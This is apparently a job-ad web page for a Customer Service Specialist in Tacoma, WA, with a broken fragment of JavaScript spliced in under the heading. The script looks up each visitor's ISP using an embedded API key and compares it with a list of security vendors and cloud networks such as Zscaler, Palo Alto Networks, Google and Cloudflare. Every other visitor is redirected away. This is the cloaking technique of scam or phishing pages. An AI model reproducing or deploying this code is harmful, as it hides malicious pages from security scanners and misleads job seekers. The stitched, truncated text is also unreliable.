Customer Service Specialist
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a dedicated Customer Service Specialist in Tacoma, WA to provide exceptional support to our clients and ensure a positive experience.
Responsibilities include:
- Assist customers via phone, email, and chat, addressing inquiries and resolving issues promptly
- Maintain accurate records of customer interactions and transactions
- Collaborate with team members to improve service processes and customer satisfaction
- Provide product and service information to clients, guiding them to suitable solutions
- Follow up with customers to ensure their needs are met and issues are resolved
Skills needed:
- Excellent communication and interpersonal skills
- Problem-solving abilities and a customer-first attitude
- Ability to handle multiple tasks efficiently in a fast-paced environment
- Strong organizational skills and attention to detail
Benefits include:
- Competitive salary and performance bonuses
- Health, dental, and vision insurance
- Paid time off and holidays
- Opportunities for career growth and development